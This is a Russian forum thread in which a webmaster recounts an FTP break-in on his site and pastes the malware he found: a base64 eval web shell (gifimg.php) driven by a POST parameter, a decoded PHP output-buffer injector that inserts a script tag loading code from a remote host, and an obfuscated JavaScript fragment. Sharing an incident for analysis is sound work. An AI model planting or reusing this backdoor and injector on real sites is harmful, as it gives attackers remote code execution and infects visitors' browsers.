С утреца зашел к себе на сайт, браузер выдал что то о невозможности загрузить PDF. Я удивился, зашел по фтп на хост, там в большинстве php вставлен блок eval (могу код вставки дать). Попросил техподдержку выдать листинг юзера фтп (т.к. все формы заливки файлов по http отключены) и там некий 61.19.251.180 слил все html/js/php файлы, некоторые обратно закачал. А через 12 минут следом за ним зашел я по ФТП. В итоге он спер мою мегасекретную винду, хоть и не успел опробывать свои инклуды
Глянул в гугле - я не один такой, кому 7 ноября прилетело gifimg.php в различные папки. Фигня еще в том, что я не храню пароль от него, я и юзера и пароль каждый раз забиваю заново (т.к. ипанутый Тотал Командер их хранит в открытую), захожу только со своего компа. По логам небыло никаких подборов - сразу вход. И спайварей никаких не вижу на компе. Настроение испортили
Хм, а вот это уже интересно. Тут уже всё серьёзно. Это что же получается, хостинг разбазаривает пароли, взломанный хостинг? Провайдер траффик анализирует и тырит пароли? Что ещё?
пока жду че они делают (попросил откатить образ хоста на сутки, по фтп вижу что залезли по ssh, создали папочку tmp и там образ на 700, и лог появился который я слил ) и жду как отпишутся. Я не могу сказать что я лох, насчет вирусов я параноик и фаерволом пользоваться умею, потому софт типа кейлогера я бы наверное поймал. По логам я последний раз был там 6 числа (когда заливал трахающийся смайлик в соседнюю тему =)), потом седня уже зашел тот чувак. Откуда может быть утечка я хз, но намекнул хостеру что дело не чисто Однако сомнений прибавилось и на комп смотрю искоса.
на компе винда ХР СП2, НОД32 с базами от позавчера, фаер Касперский, внутренняя сеть за НАТом (за последние два дня в ней работал только мой комп), браузер Мазила с одним единственным расширением. ИЕ забанен в фаерволе и чужих activX и COM в нем нет, прокси нигде не прописаны, службы все старые, автозагрузка не тронута, список процессов такой же как и неделю/две назад, в логах фаервола нет записей о запросах нового софта в сеть. Но не думаю что техподдержка будет это слушать, я сам работаю в техподдержке и юзерам не верю на слово
gifimg.php Код (Text): <?php eval(base64_decode('aWYoaXNzZXQoJF9QT1NUWydlJ10pKWV2YWwoYmFzZTY0X2RlY29kZSgkX1 BPU1RbJ2UnXSkpO2Vsc2UgZGllKCc0MDQgTm90IEZvdW5kJyk7'));?> (вставлен перенос ручками), в переводе так: Код (Text): if(isset($_POST['e']))eval(base64_decode($_POST['e']));else die('404 Not Found'); более крутое в index.php (вставляется в начало скрипта, пишу сразу раскодированное, местами переносы воткнул): Код (Text): if(!function_exists('x06pa')){function x06pa($s){if(preg_match_all('#<script(.*?)</script>#is',$s,$a))foreach($a[0]as$v)if(count(explode("\n",$v))>5){$e=preg_match('#[\'"][^\s\'"\.,;\?!\[\]:/<>\(\)]{30,}#',$v)| |preg_match('#[\(\[](\s*\d+,){20,}#',$v);if((preg_match('#\beval\b#',$v)&&($e||strpos($v,'fromCharCode')))||($e&&strpos($v,'document.write')))$s=str_replace($v,'',$s);}if(preg_match_all('#<iframe ([^>]*?)src=[\'"]?(http:)?//([^>]*?)>#is',$s,$a))foreach($a[0]as$v)if(preg_match('#[\. ]width\s*=\s*[\'"]?0*[0-9][\'"> ]|display\s*:\s*none#i',$v)&&!strstr($v,'?'.'>'))$s=preg_replace('#'.preg_quote($v,'#').'.*?</iframe>#is','',$s);$s=str_replace($a=base64_decode('PHNjcmlwdCBzcmM9aHR0cDovL2VpY2hiYXVlci5kZS 9jZ2kyL2Zhdmljby5waHAgPjwvc2NyaXB0Pg=='),'',$s);if(stristr($s,'<body'))$s=preg_replace('#(\s*<body)#mi',$a.'\1',$s,1);elseif(strpos($s,'<a'))$s=$a.$s;return$s;}function x06pa2($a,$b,$c,$d){global$x06pa1;$s=array();if(function_exists($x06pa1))call_user_func($x06pa1,$a,$b,$c,$d);foreach(@ob_get_status(1)as$v)if(($a=$v['name'])=='x06pa')return;elseif($a=='ob_gzhandler') break;else$s[]=array($a=='default output handler'?false:$a);for($i=count($s)-1;$i>=0;$i--){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start('x06pa');for($i=0;$i<count($s);$i++){ob_start($s[$i][0]);echo $s[$i][1];}}}$x06pal=(($a=@set_error_handler('x06pa2'))!='x06pa2')?$a:0;eval(base64_decode($_POST['e'])); в нем закодирована строчка, которая вставляется в html и js:
[js] // 404 <script> rCFo=24;if(prompt)rCFo='';sxyXX=unescape('%'+rCFo); var rih51=''; eval(unescape(rih51.replace(/[QAHi]/g,sxyXX))); //</script> [/js]
Да не переть, просто выкачивались, вставлялись eval и обратно, причем по маске - index, password, config где встречалось в названии. Но сам факт что сперли угнетает. Я не гений, полюбому дырки будут в скриптах, если кто воспользуется вдруг.
kostyl неа, какие обвинения, какие доказательства? сервер в тайланде, я хз какие там законы, и чей вообще хостинг. в понтах самовыражения, видимо ломать, кстати, начали с antonn.com, а потом уже скрипт слил и antonn.ru.
antonn antonn.ru. прикольно)йа в шоке)користо сделано) Вот если бы страница не перезагружалась при хождении по папкам, я бы подумал что это не сайт открылся)